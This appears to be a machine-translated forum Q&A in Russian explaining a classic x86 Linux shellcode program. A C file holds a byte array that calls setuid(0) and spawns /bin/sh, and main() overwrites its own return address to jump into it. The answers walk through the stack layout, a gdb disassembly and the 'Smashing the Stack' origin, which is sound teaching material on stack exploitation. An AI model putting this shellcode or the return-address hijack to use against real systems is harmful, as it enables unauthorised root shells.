Может ли кто-нибудь объяснить этот код мне?

ПРЕДУПРЕЖДЕНИЕ: Это эксплойт. Не выполняйте этот код.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

может ли кто-нибудь дать мне лучшее объяснение?

Ответ 1

По-видимому, этот код пытается изменить стек, чтобы при возврате функции main выполнение программы не возвращалось регулярно в библиотеку времени выполнения (которая обычно прерывала бы программу), но вместо этого переходила бы в код, сохраненный в массив shellcode.

1) int *ret;

определяет переменную в стеке, только под аргументами main.

2) ret = (int *)&ret + 2;

позволяет переменной ret указывать на int *, в которую помещается два int выше ret в стеке. Предположительно, если адрес возврата находится там, где программа будет продолжать, когда возвращается main.

2) (*ret) = (int)shellcode;

Адрес возврата задается адресом содержимого массива shellcode, поэтому содержимое shellcode будет выполняться при возврате main.


shellcode похоже, содержит машинные инструкции, которые, возможно, выполняют системный вызов для запуска /bin/sh. Я мог ошибаться в этом, так как я фактически не разбирал shellcode.


P.S.: Этот код зависит от машины и компилятора и, возможно, не будет работать на всех платформах.


Ответ на второй вопрос:

и что произойдет, если я использую ret = (int) & ret +2 и почему мы добавили 2? почему бы не 3 или 4??? и я думаю, что int составляет 4 байта, а 2 - 8 байтов нет?

ret объявляется как int*, поэтому назначение int (например, (int)&ret) было бы ошибкой. Что касается того, почему 2 добавлено, а не какого-либо другого номера: видимо, потому что этот код предполагает, что адрес возврата будет находиться в этом месте в стеке. Рассмотрим следующее:

  • Этот код предполагает, что стек вызовов растет вниз, когда что-то нажимается на него (как это действительно происходит, например, с процессорами Intel). Вот почему число добавляется и не вычитается: адрес возврата лежит выше адреса памяти, чем автоматические (локальные) переменные (например, ret).

  • Из того, что я помню из своих дней сборки Intel, функцию C часто называют так: Сначала все аргументы помещаются в стек в обратном порядке (справа налево). Затем вызывается функция. Таким образом, адрес возврата помещается в стек. Затем настраивается новый стек стека, который включает в себя вхождение регистра ebp в стек. Затем локальные переменные устанавливаются в стек под всем, что было нажато на него до этой точки.

Теперь я предполагаю следующую структуру стека для вашей программы:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

Внизу лежит ret (это 32-разрядное целое число). Выше это сохраненный регистр ebp (который также имеет ширину 32 бит). Выше это 32-битный адрес возврата. (Выше было бы main arguments - argc и argv - но здесь это не важно.) Когда функция выполняется, указатель стека указывает на ret. Обратный адрес лежит на 64 битах "выше" ret, что соответствует + 2 в

ret = (int*)&ret + 2; 

Это + 2, потому что ret - это int*, а int - 32 бит, поэтому добавление 2 означает его установку в ячейку памяти 2 & times; 32 бита (= 64 бит) выше (int*)&ret... который будет адресом адреса возврата, если все допущения в предыдущем параграфе верны.


Экскурсия:. Позвольте мне продемонстрировать на ассемблере Intel, как может быть вызвана функция C (если я правильно помню - я не гуру по этой теме, поэтому я могу ошибаться):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

Внутри main может произойти следующее:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

См. также: Описание последовательность вызовов процедур в C для другого объяснения этой темы.

Ответ 2

Фактический шелл-код:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

Это соответствует примерно

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);

Ответ 3

Эта строка взята из старого документа при переполнении буфера и будет выполнять /bin/sh. Поскольку это вредоносный код (ну, когда он сопряжен с эксплойтом буфера), вы должны вначале включить его в следующий раз.

Из этого же документа как использовать эксплойты, основанные на использовании стека:

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Введенный вами код заставляет содержимое shellcode [] запускаться execve и предоставлять доступ к оболочке. И термин "Шеллкод"? Из Wikipedia:

В компьютерной безопасности шеллкод является небольшой фрагмент кода, используемый в качестве полезной нагрузки при эксплуатации уязвимость программного обеспечения. Это называется "shellcode", потому что он обычно запускает командную оболочку, из которой злоумышленник может управлять скомпрометированным машина. Шеллкод обычно записывается в машинный код, но любой фрагмент кода который выполняет подобную задачу, может быть называемый shellcode.

Ответ 4

Не просматривая все фактические коды операций для подтверждения, массив shellcode содержит машинный код, необходимый для exec /bin/sh. Этот shellcode - это машинный код, тщательно сконструированный для выполнения желаемой операции на конкретной целевой платформе и не содержащий никаких null байты.

Код в main() меняет адрес возврата и поток выполнения, чтобы заставить программу порождать оболочку, выполнив инструкции в массиве shellcode.

См. Smashing the Stack For Fun and Profit для описания того, как может быть создан шеллкод и как это можно использовать.

Ответ 5

Строка содержит ряд байтов, представленных в шестнадцатеричном формате.

Байты кодируют ряд инструкций для конкретного процессора на конкретной платформе - надеюсь, ваш. (Edit: если это вредоносная программа, надеюсь, не ваша!)

Переменная определяется только для того, чтобы получить дескриптор стека. Закладка, если хотите. Затем используется арифметика указателя, снова зависящая от платформы, для управления состоянием программы, чтобы заставить процессор перейти и выполнить байты в строке.

Ответ 6

Каждый\xXX является шестнадцатеричным числом. Один, два или три из таких чисел вместе образуют op-код (google для него). Вместе он образует сборку, которая может выполняться машиной более или менее напрямую. И этот код пытается выполнить шеллкод.

Я думаю, что шеллкод пытается создать оболочку.